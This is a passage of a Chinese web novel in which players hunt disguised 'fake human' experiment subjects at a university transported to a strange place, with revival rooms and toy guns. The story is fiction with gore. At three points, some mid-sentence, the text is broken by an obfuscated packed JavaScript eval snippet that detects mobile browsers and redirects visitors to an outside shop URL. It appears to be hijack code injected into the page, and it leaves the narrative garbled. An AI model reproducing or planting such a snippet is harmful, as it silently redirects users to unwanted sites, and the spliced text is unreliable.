而他的上本身早已被红色雕像捏碎,像一团废纸被它握在手心把玩,有的人吐了,有的人害怕得流下眼泪,但没人尖叫。 “抱歉,我的管理员喜欢安静,所以消除了‘噪音’,但是不用担心,刚才那位老先生一会儿就能复活。”鸟嘴面具再一次深鞠躬,显得十分愧疚。 神奇的事情发生了。 黑色玻璃房内,眨眼间竟然多出一个人,他两鬓斑白,皱纹纵横交错,穿着一套蓝色冲锋衣——正是刚才那位被削成两半的大爷! 大爷若无其事从玻璃房走出来,不知所措看向认识的人:“我刚刚怎么死了?” 大爷的朋友自然不敢多说,随便敷衍道:“你刚刚心脏病发作死了。” 看到这一幕,就连一贯波澜不惊的翟烬都目瞪口呆。 他们所面对的敌人,到底拥有什么科技,竟然能让人起死回生? 鸟嘴面具挺直腰板,语气变得自信满满:“就像大家看到的这样,在这里死去的人,可以无限重生,虽然会丢失24小时之内的记忆,但只要命还在,这种小事你们应该不会在意吧?” 翟烬瞥向地上那半截尸体,不动声色蹙了蹙眉。 这是活生生的人,不是电子生命,就算复活了,以前的他也实实在在死了。 所谓的重生,哪个不是死过一次? “好了,继续我刚才的话题,我让你们来这个地方,是想让你们帮我寻找实验体,有四个实验体从我的实验室逃跑之后混入这所学校,所以我干脆把这所学校全都搬过来给你们找。”鸟嘴面具从裤兜里掏出一张纸,上面密密麻麻写了很多内容。 他继续说:“实验体和人类长得一样,会模仿人类行为,但缺乏真实情感,而且它们还会杀人——真是太可怕了!所以麻烦你们一定要把它们找出来,不然会死很多人!现在,我跟大家再说一遍它们的特征——” “一,面部、四肢完全对称。” “二,不怕火。” “三,大脑是绿色的。” 等鸟嘴面具念完实验体这三个特征,翟烬差点笑出来。 这不就是找伪人的游戏吗? 游戏目的就是找到伪装成人类的怪物,都找出来就能通关,如果把人误认成伪人,或者把伪人误认成人,游戏就会惩罚玩家。 高难度下,一旦失误,游戏直接结束。 鸟嘴面具补充道:“我这里提醒一下,你们找到实验体千万别杀了,因为我还要继续研究它们……我为你们提供了抓捕实验体的枪,新来的,你们可以去重生室旁边的桌子上拿枪,为了防止你们互相攻击,每人只有一把枪一发子弹,那种特制子弹会打伤实验体,但对人类却是致命的,请小心使用,别闹出人命了。” 然后他又极其虚伪地笑道:“不过就算死了也没关系,反正还能在重生室重生,你们不用太担心。” 12. 伪人学校-好人好报? 等鸟嘴面具安排好所有事后,他又慢悠悠原路返回,走到刚刚和翟烬出来的地方,微微抬手,一扇白色的门凭空出现。 而后,鸟嘴面具打开门,走进去,门也跟着消失得无影无踪。 “你觉不觉得这次很像伪人游戏……”翟烬转头看着蒋越川,只见他呼吸急促而浅薄,胸口剧烈起伏,眼睛一眨不眨凝望着红色怪物。 翟烬循着他的目光望向红色怪物,那怪物一动不动,只有垂下的长发在轻轻飘扬,仿佛一尊死物。 “你放心,我玩伪人游戏很厉害,不会让你们死的。”意识到蒋越川可能正感到害怕,翟烬笑着安慰。 蒋越川抿了抿唇,勉强浮出一丝淡淡的笑容:“嗯,我也觉得我们不会死。”然后他轻叹一声,“走吧,我们去把枪拿上,要是遇上伪人,我们就不用怕了。” …… 当翟烬看到鸟嘴面具为他们准备的枪时,不可置信地愣了许久。 因为那是一把红色的玩具手枪,毫不夸张的说,超过6岁都不会玩的那种劣质塑料手枪。 但他们现在没别的选择。 每人一把手枪,每把手枪一颗子弹,武器看来极度稀缺,为了防止手枪被别人拿走,翟烬把徐清月他们的手枪也领走了。 几分钟后,徐清月、陆凌、王国平陆续找到他们,王国平还领了个平头小哥一起过来。 王国平笑容满面地向众人介绍平头小哥:“他叫邢明明,是这所大学的学生,和学校一起被传送到这里来了,刚刚我和他聊了很多,你们如果不介意,我就让他加入我们队伍,他来了三天了,比较了解这里的情况。” 翟烬仔细打量着邢明明,他又高又瘦,戴着副黑框眼镜,皮肤黝黑,是那种特别不起眼的长相。 说实话,她不太信任他,她现在看谁都像伪人。 但如果邢明明是伪人,也方便她观察。 或许是为了取得他们的信任,邢明明主动向他们提起自己先前的遭遇。 “实际上,我昨天晚上被实验体杀死过,尸体还放在宿舍的椅子上。”他面无表情盯着众人,“你们要去看我的尸体吗?也许能找到一些线索,而且我也可以顺便跟你们介绍一下这里的情况。” 为了尽快通关,没人提出异议,邢明明就这样加入了他们的队伍。 “我这个人比较孤僻,喜欢独处,昨天被杀了以后,我才开始害怕一个人独处,所以才想找很多人组队。”邢明明走在前方为众人带路,“至于被谁杀了,我完全不记得了,这就是重生的副作用。” 翟烬趁此机会把玩具手枪分发给其他人,顺便说起了游戏规则。 “对,你说的没错。”邢明明看着翟烬随后补充,“和学校一起传过来的,大约有200多人,大部分都是暑期勤工俭学的学生,还有一些留校的老师,以及部分学校的行政人员,嗯……还有一些来学校散步的附近居民,我们要从这里面找到实验体。” 从两百多人里找到四个伪人,还是有点难度的。 邢明明忽地停下步伐,朝行政楼的方向指了指:“你们身上有没有带食物?因为食堂没有传送过来,我们现在食物紧缺,要领食物只有去找马教授要,他在管理食物,不过食物不多了。” 众人面面相觑,一副等着吃白食的样子。 ——原来他们都没带。 徐清月望向学校大门的方向:“我们不能去外面找食物吗?” 邢明明飞快摇头,苦笑:“出不去的,有人刚出校门,就从重生室复活了。” 王国平尴尬一笑,扯着嗓门问:“小邢,那你们在这里发现过怪物吗?”可以吃的那种。 邢明明眉头紧锁,反问他们:“实验体算怪物吗?” 翟烬轻轻点头,然后又问:“还有别的怪物吗?” 实验体不算人,当然可以吃,但实验体不好找,而且吃了任务就没办法完成了。 蒋越川没有把自己带了巧克力这件事说出来,他静静地笑着,观察每个人的反应。 陆凌一直在偷看翟烬,好不容易等到翟烬提问,他终于将自己的发现告知众人:“我刚刚在这个学校的后山发现了一些奇怪的植物。” 原来他刚才不在,是去调查周围环境了。 一听有奇怪的植物,翟烬立刻追问:“它的叶子是不是螺旋状?” 陆凌冷淡地“嗯”了一声,漫不经心移开视线。 翟烬在鸟嘴面具的实验台旁边见过它,她有预感那是十分重要的植物,鸟嘴面具也许在研究它。 “一会儿我们看了你的尸体,就去找那些植物。”翟烬拍了拍邢明明的肩膀,眼底闪过一丝兴奋。 邢明明也似乎完全不介意翟烬这么说,神情跟刚才一样平淡。 刚走到宿舍楼下,一声惊天动地的怒吼,将众人的目光吸引到一处。 “你们这些冷血动物!” 只见宿舍楼下坐着个少女,她披头散发,白色长裙皱巴巴的,五官倒是清秀,但脸上脏兮兮的,沾满泥巴。 少女怀中还有一个少女,她的短发异常凌乱,身穿休闲的短裤短袖,正不省人事地躺在白裙少女怀中。 “让你们这些人帮忙把我妹妹抱上楼都不愿意,一个个的,还是人吗?”白裙少女抬起头对她面前的两个男生怒目而视,那副表情仿佛真的想杀了他们。 “我们今天都没吃饭,哪里有力气帮你做这种事?”高个男生拉着同伴,头也不回地走了。 翟烬转身看着其他人,试探着问:“你们谁有力气去帮她们?” 倒不是她心善,纯粹是因为上次他们顺手救了女婴,获得了“完美结局”,这似乎在告诉翟烬多行善事,好人有好报。 王国平笑容和善:“我可以去帮忙。” 说完,他走到白裙少女面前,礼貌笑笑:“我可以把你妹妹抱上去,只要你不介意。” 王国平虽然长了一副老好人的脸,但人家对他又不了解,对他有防范心也很正常,所以他要先征求白裙少女的意见。 果然,白裙少女看到他后蹙了蹙眉,眼神回避,似乎很犹豫。 翟烬不得不走过去,帮腔道:“我们是一起的,你可以相信他,但如果不愿意就算了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127250|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到女性的声音后,白裙少女才向他们投来感激的目光,然后连声道谢:“我愿意,谢谢你们,你们真是好人。” “不用谢。”王国平蹲下身将短发少女抱起,他力气大,喘都不喘一下。 “以后我可以和你们一起行动吗?”白裙少女快速站起来,拍拍屁股上的灰尘,主动介绍,“我叫周晓童,她是我妹妹叫周晓琪,我是来学校找我妹妹出去玩的,谁知道刚见面不久,我们就被传送到这个鬼地方来了,昨晚我们出来找食物的时候,她不小心摔到了头,现在都还在昏迷中,不吃不喝一天了……所以我想加入你们,这样我妹妹的生存几率才更高……” 说到最后,周晓童的声线带着明显的哭腔,听上去十分自责。 “哦,来吧,反正就是多双筷子。”翟烬表情和语气一样冷,说出来的话却很暖心。 周晓童再一次向他们说了谢谢。 她把他们带到二楼的一间寝室,把周晓琪小心翼翼放在床上后,又问翟烬和徐清月要不要留下来住一间寝室。 反正她们四个都是女人,隐私方面不用担心。 “不用,我们几个晚上还有事情要做,和你们待在一起反而不方便。”翟烬婉拒了,然后和徐清月走到门口,急着要离开。 周晓童面露尴尬,又试着问:“那我以后怎么找到你们?” “你可以去8号男生宿舍楼下喊我的名字,我们今晚要调查一些事,应该会留在那里。”翟烬不紧不慢说道。 然后,她就和徐清月一起离开了寝室。 “你为什么要拒绝她?难道我们要和男人住一起吗?”徐清月若有所思瞅了眼身后,压低声音凑过来,“还是说,你觉得她们有问题?” 翟烬轻轻摇头,表情复杂:“我没看出她们有什么问题,只是不想花时间照顾一个毫无关系的陌生人,和她们住一起,周晓童肯定会让我们帮忙照顾她妹妹,这太麻烦了,都没时间找实验体了。” 徐清月恍然大悟,自言自语:“看来你的人设我要改一下了,我还以为你是个大善人呢。” 翟烬缓缓转头:“你说什么?” 徐清月嘟起嘴巴:“没什么。” 王国平因为不方便滞留女生寝室,就在楼梯口等她们,见她们来了便跟上来说:“我在这层楼都没看到几个人,也不知道把她们单独留在这里到底安不安全。” “人多了反而不安全。”翟烬幽幽道,“人多就证明出现实验体的可能性更高,我们最好小心一点,最好谁都别信。” 徐清月听后开始发动脑洞,神情变得越来越严肃:“那你觉得我们几个当中,会不会存在实验体?” 翟烬停下步伐转头盯着徐清月,眼神专注:“徐姐,你的左眼更双一点。”然后又看了眼王国平,“王叔,你的右眉要比左眉平一些。” “目前,蒋越川、陆凌只看脸也不是实验体,但还需要进一步证实。” 实验体的特征之一:脸部、四肢完全对称。 当然也不排除,实验体为了避免被人发现,在脸上动手脚,使得面部发生变化。 13. 伪人学校-第一个伪人 蒋越川和陆凌在男生宿舍8号楼下等他们。 “邢明明呢?”翟烬看向四周,没看到邢明明的身影。 蒋越川说:“他先上去喝水了。” 陆凌刚想开口被蒋越川抢先,只有将话又咽进嘴里,闷闷不乐看向别处,但在别人看来,他又是一副不想搭理人的样子。 “他跟我说了寝室号,我们上去找他就行。”蒋越川又补充道。 “你觉不觉得邢明明有问题?”翟烬走到蒋越川身侧,“我觉得他好像有点过于平静了,说起自己的尸体,好像也没觉得有什么大不了的。” “嗯嗯,我也觉得,感觉他有点呆板呢。”徐清月在后面插了一句。 蒋越川不置可否:“有的人或许就是那种性格,我们可以多观察一下他。” 一行人上到邢明明所在的三楼,刚到楼梯口,所有人都闻到一股浓烈的血腥味,浓郁到让人忍不住捂住口鼻。 邢明明就站在寝室门口等他们,他背着光,指着面前打开的门,语气平静:“尸体有点吓人,你们要做好心理准备。” 连受害者都这么说,他们每个人都把心提到嗓子眼,不自觉屏住呼吸。 翟烬走在最前面,也是最先看到尸体的。 与其说是尸体,不如说是一张皮。 一张没有骨头、肌肉的人皮松松垮垮披在椅子上,像件肉色的大衣。 血腥味的来源并非来自于那张人皮——而是满屋子的血。 这里的血,不是零星的溅洒,而是如潮水般淹没了整个房间。 地板早已看不出原色,只余下黏腻的血浆,墙壁上,暗红的血迹层层叠叠,像一幅毛骨悚然的抽象画。 或许玩多了恐怖游戏,翟烬虽然也为这一幕所震惊,但她并没有感到多么害怕,其他人则是看一眼就走了。 太血腥!太恶心了! 这实验体杀人的方式实在太残暴! “它可能把我的肉和骨头都吃了,我在现场没有找到它们。”邢明明就站在翟烬身后,语气依旧很冷静,冷静得不正常。 “你不害怕吗?”翟烬转身开始打量他。 任何人看到自己的尸体,应该都会感到害怕吧? 况且还是这样惨烈的死法。 “害怕,但不是可以复活吗?”邢明明的嘴角做了个上扬的动作,“我发现我死过一次后,对这种事就看淡了,也说不上什么感觉,反正就是不怕死了。” “我怕死,一次都不想死。”翟烬的声音很小,像是说给她自己听的。 经过她刚才的仔细观察,邢明明的五官不对称,这证明他不是伪人。 或许就像蒋越川说的那样,邢明明就是不怕死所以才那么冷静,性格使然罢了。 看完邢明明的尸体,一行人接下来要去后山调查奇怪的植物。 这里的时间跟现实世界不太一样,明明才刚到中午,太阳却已落山,天色也逐渐暗淡下来。 陆凌在前面带路,很快找到了他先前看到的地方。 一个小山坡上,歪歪扭扭长了些螺旋状叶片的植物,它们有的矮小,不到一米,有的长势良好,接近两米。 翟烬站在远处观察它们,跟她在白房子里看到那样,那些螺旋状叶片正在毫无规律的颤动,仿佛正在呼吸。 “我从没见过长成这样的植物……它们肯定有问题。”陆凌侧头看着翟烬,期待能获得她的认同。 然而翟烬眉头紧锁,什么都没说——因为她发现她现在很饿,饿得没办法思考。 蒋越川却仿佛能看透她似的,笑着问:“它们能吃吗?” “应该能吃吧……”翟烬犹豫不决,她更爱吃肉,这种绿色蔬菜看上去吃不饱。 “我去看看。”王国平兴致勃勃从双肩包里掏出提前准备的砍刀,几步走到植物面前,一刀拦腰砍下一株最高的。 “你们快来看!”王国平忽然抬高音量,像是发现了什么。 除了邢明明,众人都好奇地凑过去,等翟烬看清楚绿植茎部的切面后,瞬间冒出一个想法——这个应该可以吃吧! 只见绿色的茎部里面并不是绿色的汁水,而是白花花的果肉,这些奇怪的植物,竟然像包粽子一样把果肉裹进里面了。 与此同时,他们闻到一股沁人心脾的香味。 那是清新的竹笋与蒸得软糯如云的糯米交融后的气息,清香中透着甘甜。 “看上去应该能吃。”翟烬不自觉咽了口唾沫。 “蒸熟之后,再撒点糖,一定很好吃。”徐清月着迷地看向其余几棵植物,“我们把它们全都砍了,带回去!” 众人马上开始行动起来,没有工具砍,就徒手将植物掰断,随后再交给王国平,像砍甘蔗那样,将它们砍成一截又一截,方便装进包里。 “今天就这样吧,再多就拿不动了,哎,好累,跟做家务一样。”翟烬两手叉腰站在一旁休息。 蒋越川默不作声,独自一人走到那株最矮小的绿植面前,它因为太小,逃过了这次“劫难”。 但它似乎感受到了即将到来的危机,螺旋状叶片颤动得越来越快,像是在急促地呼吸。 蒋越川蹲在它面前,修长的手指刨开一些它根部的土壤,那些盘绕、交错、深深扎入土中的根须最终形成了一个椭圆形的球——就像绿色的大脑。 “怎么就你长得这么慢呢?” 蒋越川将土壤再度盖在它根须之上,然后轻柔地拍了拍土壤,“加油。” “你在做什么?”翟烬拿着保温杯站在他身后,眼中满是探究之意。 “我说它太小了,还不够我们吃。”蒋越川站起来,浅色瞳孔透着些许碎光,笑得人畜无害。 翟烬垂眸盯着那株小小的绿植,然后拧开保温杯,倒了些水,淋在它根部。 “浇点水给它,应该会长快一些。” 蒋越川下意识抬手想阻止她,最终又将手垂下:“反正我们都要吃它,你没必要给它浇水。” “我们什么时候走?我好像听见山坡下面来了人。” 这时,陆凌突然走过来拍了下翟烬的肩膀,目光飞快在蒋越川脸上停留了一秒,快到令人难以察觉。 但蒋越川察觉到了,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127251|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至读出了厌恶。 翟烬也听到了山坡下传来说话声,赶快帮他们把今天的收获装进包里。 众人心照不宣,在这种情况下,食物是很宝贵的资源,不能随便分享给所有人。 从山坡下走上来几个中年大妈,其中一个穿着跳广场舞的那种表演裙,看到他们后,她指着他们,大呼小叫道:“你们几个这么晚了在这儿做什么?你们、你们是不是实验体?!” 其她大妈瞬间提高警惕,纷纷从怀里掏出那把可以致人于死地的玩具手枪。 “别搞错了,我们只是上来散步的!”徐清月也来了气,把玩具手枪对准带头的表演裙大妈,“把枪放下!” 其她人看到徐清月拿出枪,眼神变得游移不定,面面相觑。 “她也有枪,会不会跟我们一样是人类啊?” “对啊,我看他们不像坏人。” “而且人数也不对啊,不是只有四个实验体吗?万一杀错人了怎么办……” 带头的表演裙大妈却毫不让步,继续拿着枪指着他们,恶狠狠道:“正常人谁会这么晚了跑这种地方散步?你们不怕被实验体偷袭吗?我看你们都不正常!” 陆凌安静地注视着大妈的脸,不动声色从衣兜里掏出那把玩具枪,翟烬在他们所有人身后看着这一幕,却没有阻止。 下一秒,陆凌以迅雷不及掩耳之势对准表演裙大妈,扣动扳机。 红色子弹不偏不倚打中大妈的胸口,洞穿了一个大窟窿! “啊啊啊!杀人啦!大家快跑啊!” 大妈们全都犹如惊弓之鸟四散逃开,有的人不小心踩到对方的长裙,一起摔在地上,有的被吓得魂飞魄散,边哭边跑。 但枪响过后,表演裙大妈却并没有死。 她双目充满红血丝,难以置信看着自己血淋淋的胸口,明明应该倒在地上立刻死去,她却□□地站得笔直。 “她、她居然是实验体?”徐清月后知后觉,“难怪她刚才带节奏,急着要杀了我们……不过她怎么带了这么多人来后山?” 陆凌语气冷淡,像是懒得说:“可能是骗她们来后山练广场舞,好方便一起杀了。” 只有翟烬听出来陆凌在说地狱笑话,她皱了皱眉,不知道该从哪里开始吐槽。 王国平显然被刚才发生的事儿吓得不轻,他抚了抚胸口,缓了口气:“这次多亏了陆凌反应快,我也觉得那女的有问题,但又怕杀错人,没敢开枪。” 蒋越川默默瞥了眼那些奇怪的植物,意味深长看向一动不动的实验体,它大概率是上来施肥的。 过了几秒钟,一扇白门凭空出现在僵直的实验体身后,门打开后,鸟嘴面具不慌不忙从里面走出来,他绕着实验体走了一圈,好像在做评估。 一分钟后,他将实验体装进塑料袋里密封起来,仿佛回收垃圾一样,将袋子提走,消失于门后。 …… “肚子有点饿了,我们回去吃饭吧。”翟烬打破沉默,揉了揉自己的肚子。 由于今天睡了懒觉,她都没来得及吃早饭,现在都中午了,是该去吃饭了。 14. 伪人学校-勾引 “哇,你这种做法肯定好吃!”徐清月从翟烬身后探出头,垂涎欲滴盯着刚刚热好油的平底锅。 这口锅是王国平从家里带来的,只有巴掌大,平时用来煎鸡蛋。 从后山回到宿舍后,翟烬把绿植外面的皮剥得干干净净,只留里面的“果肉”,再把它们切成一小块,就像爆汁豆腐那样。 油热好后,翟烬用筷子把果肉一个个平铺在锅里,不一会儿油花四溅,果肉“滋啦”作响,甘甜的果香在房间里扩散开来。 一面煎熟,翟烬就翻另一面,煎熟的那面变得金灿灿的,一看就很有食欲。 等翟烬煎好,徐清月也顾不得烫,火急火燎夹了一块塞进嘴里。 焦香酥脆的外壳咬下去就是“噗”的一声,乳白香甜的果汁瞬间涌出,裹着花香、果香,在舌尖炸开。 徐清月的眼角刹那间溢出幸福的眼泪,她热泪盈眶捂住嘴巴:“呜呜呜……这也太好吃了!” 翟烬早就饿了,用筷子一口一个,果肉在她嘴里不停爆汁,回味无穷。 另一边,王国平用蒸锅做的蒸果肉也做好了,在此之前,蒋越川贡献了自己私藏的巧克力。 王国平将巧克力捣成碎,放果肉上面一起蒸,揭开锅后,融化的巧克力覆盖在白嫩的果肉上,等热气散去后,他先让徐清月来尝。 徐清月尝过后连连称赞这就像米其林餐厅的餐后甜点,清甜的果香与浓郁的巧克力结合在一起,别具一番风味。 几人这一顿自然是吃饱喝足,就连邢明明都吃撑了——这是他最近两天吃得最饱的一次。 “还剩一顿的量了,下次我们多砍点回来。”王国平蹲在角落清理刚刚带回来的绿植,将它们一个个像蔬菜那样捆好。 翟烬一只手抚摸着微微胀的肚子:“真好吃,这次回去之前,我要多砍点带回家放冰箱。” 言者无心,听者有意。 当翟烬说出自己的打算后,其他人都开始打起自己的小算盘。 他们见到的奇怪绿植并不多,再加上这几天还要吃,到最后也许会不够分,想要偷偷带回去吃独食只有在学校里多找找。 吃饱饭,就该安排住的地方了。 经过商量,几人一致同意,男人住一个寝室,女人住一个寝室。 翟烬拿着自己的保温杯和徐清月站起来正准备去隔壁——突然间,眼前一片漆黑,伸手不见五指。 停电了? 黑暗中,翟烬只依稀看得见人影,分不出谁是谁,蒋越川打开手机照明,平静地看向周围,玻璃球似的眼珠在光照下熠熠生辉。 因为蒋越川那里是唯一的光源,翟烬不自觉望向他,他似有所感,温柔地朝她看来,然后勾唇一笑。 就在这时,翟烬感受到了一股阴冷的视线,只是它转瞬即逝,不给她寻找的机会。 嗯? 翟烬收回看向蒋越川的目光,转向邢明明,见他并不慌张,便问:“这里经常停电吗?” 邢明明眯了眯眼睛,声音略显干哑:“不是,是从昨天开始的,我听别人说,昨天就是停电以后,我一个人回了寝室,实验体可能就是那个时候盯上我的——对了,忘了和你们说,这里白天很短,大概只有三个小时,其余时间都是夜晚。” “那我们最好不要分开,还是像上次那样轮流睡觉吧。”蒋越川提议。 “嗯,我赞同,反正也习惯了……”徐清月闻了闻自己手上的味道,“邢明明,这里洗澡方便吗?” 这所大学每间寝室虽然都有卫生间,但却没有热水器,只有马桶。 “出门一直左拐,每层楼都有澡堂,里面有十个淋浴间,你洗澡记得锁门。”邢明明好心提醒。 “嗯,那我马上去洗,刚刚搬食物的时候出了一身汗,脏死了。”徐清月拿着手枪走出去。 谁知,徐清月刚走到门口,忽然想起自己的笔记本电脑还放在另外一间寝室,那上面有她的小说存稿,对她来说十分重要。 于是想也不想,立刻转身往右边的寝室找自己的笔记本电脑去了。 翟烬留下来和邢明明聊天,她要更快地了解他们来之前发生的事儿。 “你们学校现在有没有个领队一样的人物?分头行动、像无头苍蝇一样找实验体,进度会不会太慢了?”翟烬摸着下巴打量他。 邢明明撇了撇嘴,眼睛看向一侧:“马教授应该算,他负责管理食物,然后每天上午九点会让我们去操场点到,数人数。” 翟烬有些好奇:“他没组织你们一起找实验体吗?” 邢明明摇摇头,无奈地叹口气:“这里并不是只有我们学校的人,还有一些附近的居民,今天在后山遇到的阿姨们就是学校外面的人,她们有自己的想法,不会听马教授的话。” 原来这个学校目前是“群雄割据”状态,没组织,没纪律,谁也不听谁的。 两人不知不觉聊了许久,翟烬抬手看了眼时间,都过去快半小时了,徐清月怎么还没洗完澡? 再看寝室里的人。 王国平正在磨刀,蒋越川靠在窗边思索,邢明明闭目养神,陆凌却不见了踪影。 考虑到陆凌喜欢独来独往,也许他又去外面散步去了。 但徐清月不一样,她不像是喜欢独处的人。 这就不太正常了。 翟烬深呼一口气和房间里的人说:“我去澡堂找徐清月。” 话音刚落,蒋越川也转过身朝她走来,眉宇间尽是担忧:“要我和你一起去吗?” 翟烬摆了摆手:“算了,她洗澡呢,你一起去多不方便。” 翟烬将玩具手枪揣在兜里,关上门,走在漆黑、安静的过道上,这层楼似乎没住人,一路上她都没听到交谈声。 抵达澡堂门口,她果然听见哗啦啦的水流声——是徐清月吗? “徐清月,你在洗澡吗?” 她刚一出声,花洒的水流声就猝然停止了,这种感觉非常奇怪,就好像有人在她看不见的地方伺机埋伏她似的。 四周一片漆黑,只能听见水流向下水道窸窸窣窣的声音,翟烬心中顿时感到不安。 她握紧玩具手枪,循着刚才听到的水流声,朝淋浴间走去。 ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127252|196139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陆凌以最快的速度穿上运动裤,伸手要去拿短袖的时候,却突然想到什么,转而去拿裤子里的耳机,他快速将入耳式耳机塞进耳朵。 然后。 深呼吸——冷静——深呼吸——冷静——深呼吸——冷静——冷静。 翟烬来到陆凌的淋浴间门前,透过手机的光照,勉强能看到里面的人影。 里面的人影身形挺拔,宽肩窄腰,一看就不是徐清月! “你是谁?”翟烬心跳如鼓,一下下撞击着胸腔,“出来!” 十秒钟过去了,里面的人依旧不说话,他一动不动站在门前,仿佛守株待兔的猎人。 翟烬不想再等了,一脚将门踹开,用枪指着那人—— 湿热的水汽扑面而来,混合着沐浴乳的幽香掠过翟烬的鼻尖,淋浴间的男人上半身□□,无数水滴正从他精致的锁骨不断流向宽阔的胸肌、线条分明的腹部,最后在浅灰色的裤腰上形成深色的水渍。 陆凌摘下耳机,表情一如既往的冷漠:“你怎么不敲门就进来了?” 翟烬理直气壮,还有点生气:“我刚刚这么大声问你是谁,好吧,我知道你戴了耳机,听不见。” “对不起……”他眼眸深邃,黑发上凝着细密的水珠,莫名给人一种无辜感,“我洗澡的时候喜欢听音乐。” “……”翟烬将目光瞥向一侧,直截了当问他,“你刚刚碰到徐清月没有?” 陆凌回答得很干脆:“没有。” 得到这个答案,翟烬心底愈加担忧:“她不见了,我要赶快找到她。”说完,她转身就走。 陆凌直勾勾看着她的背影,下意识开口:“翟烬,我可以和你一起去——” “我陪你一起去吧。” 蒋越川站在她面前不到三米的位置,他走路像是没有声音,形同鬼魅,以至于她现在才发现他。 “陆凌还没穿好衣服,而且他手上的枪也没子弹了。” 言下之意,陆凌和她一起去找徐清月,万一遇到敌人,也帮不了忙,只会沦为拖油瓶。 陆凌侧头向蒋越川看去,眼中的冷意不遮不掩,但他什么话都没说,而是把门关上,开始慢条斯理穿衣服,仿佛毫不在意。 出了澡堂,翟烬忍不住吐槽蒋越川:“你刚刚走路怎么没有声音?吓我一跳,跟个阴湿男鬼似的。” “也可能是你太紧张,所以没听见。”蒋越川莞尔一笑,“阴湿男鬼是什么意思?” 翟烬笑着回应:“就是那种心理上很阴暗、病态,而且还特别粘人的男人,我刚刚只是在开玩笑,你别介意。” 蒋越川边听她科普边把某人对号入座,他扯出一抹冷笑:“你说的这种人我正好认识,遇上这种男人是挺麻烦的。” 翟烬急着找到徐清月,没时间和他闲聊,她很快转移话题:“黑灯瞎火的,我们去哪里找徐清月?……她一个人能去哪里?” 蒋越川不着痕迹翻了个白眼:“我猜……她可能正在某个地方码字。” ——砰! 话音刚落,一声突如其来的枪响从走廊尽头传来。 15. 伪人学校-第二个伪人 半小时前。 徐清月回到隔壁寝室准备拿走自己刚刚放在这里的电脑包。 屋内,陈设简单得近乎冷清,一张张铁架床靠墙而立,一人多高的铁皮衣柜统一放在墙角,静静伫立着。 手机微弱的光源照过黑暗,在地面上投下摇曳不定的影子,莫名让人联想到恐怖的鬼影。 徐清月站在门口,不由自主打了个寒颤。 ——太好了! 没有身临其境,怎么能写出让读者很有代入感的恐怖小说? 一瞬间,徐清月文思泉涌,她找到笔记本电脑,争分夺秒打开WPS,开始今天的码字。 【她独自一人走进空寂、被黑暗侵蚀的房间,试图在这里找到线索……】 就在徐清月忘乎所以沉浸于码字的时候,一连串的怪叫从窗户外面传来。 “啊——啊——啊——” 那声音沙哑而尖利,仔细一听便知道是乌鸦的叫声。 “吵死了!” 声音戛然而止。 徐清月拿起手枪不情不愿来到窗边,探出头想找到刚刚噪音的来源。 窗外万籁俱寂,整个世界没有任何一处光源,空气中弥漫着一股浓郁的血腥味,压得人喘不过气。 血腥味的来源正是徐清月上方的房间,邢明明就是在楼上被实验体杀死的。 与此同时,徐清月看到对面楼栋紧闭的窗户似乎有个黑影站在窗边静止不动。 黑黢黢的,勉强能看出人形。 它隐于黑暗,像埋伏于草丛里的毒蛇,等着无辜的路人经过,然后咬她一口。 这种感觉让徐清月不寒而栗,她快速离开窗户,害怕得连码字的心情都没了。 恐惧让她神经质地认为这个房间也不安全,或许……这里也藏着实验体! 昨天实验体才吃了邢明明的身体,它需要消化,走不了多远,依旧躲在这栋楼! 徐清月脑洞大开,甚至它可能就躲在这个房间,藏在床底或者衣柜里。 徐清月将手枪牢牢紧握,虽然她也知道刚才的想法只是她的脑洞,但为了以防万一,她决定仔细检查这个房间。 手机光源照过房间里的每个角落,床底她也挨个检查了一遍,除了厚厚的灰尘就是一些拆封的快递盒。 最后,徐清月来到两个铁皮衣柜前,只要检查完它们,她又可以安心码字了。 第一个铁皮柜拉开后,里面是叠得整齐的衣物,混合着洗衣液的香味,莫名让人心情放松。 看吧,果然是她多想了,这里很安全,等检查完最后一个衣柜,她就可以完全放心了。 徐清月来到最左边的衣柜面前,她深呼一口气,笑容平和将它打开—— 狭窄、局促的铁皮衣柜里,一个瘦高的苍白男人站在里面,完全占据了整个空间。 他穿着一身臃肿的黑色羽绒服,大夏天的,额头却一滴汗都没流,眼神空洞得就像一棵没有生命的植物,额头上有两个红色的痘印,以鼻梁为中界限,完全对称。 砰—— 枪响过后,不过十秒钟的时间,门被打开,众人一拥而入。 冲入房间的一瞬,翟烬立刻看到脸色惨白的徐清月站在墙角,不知所措盯着地上的“尸体”。 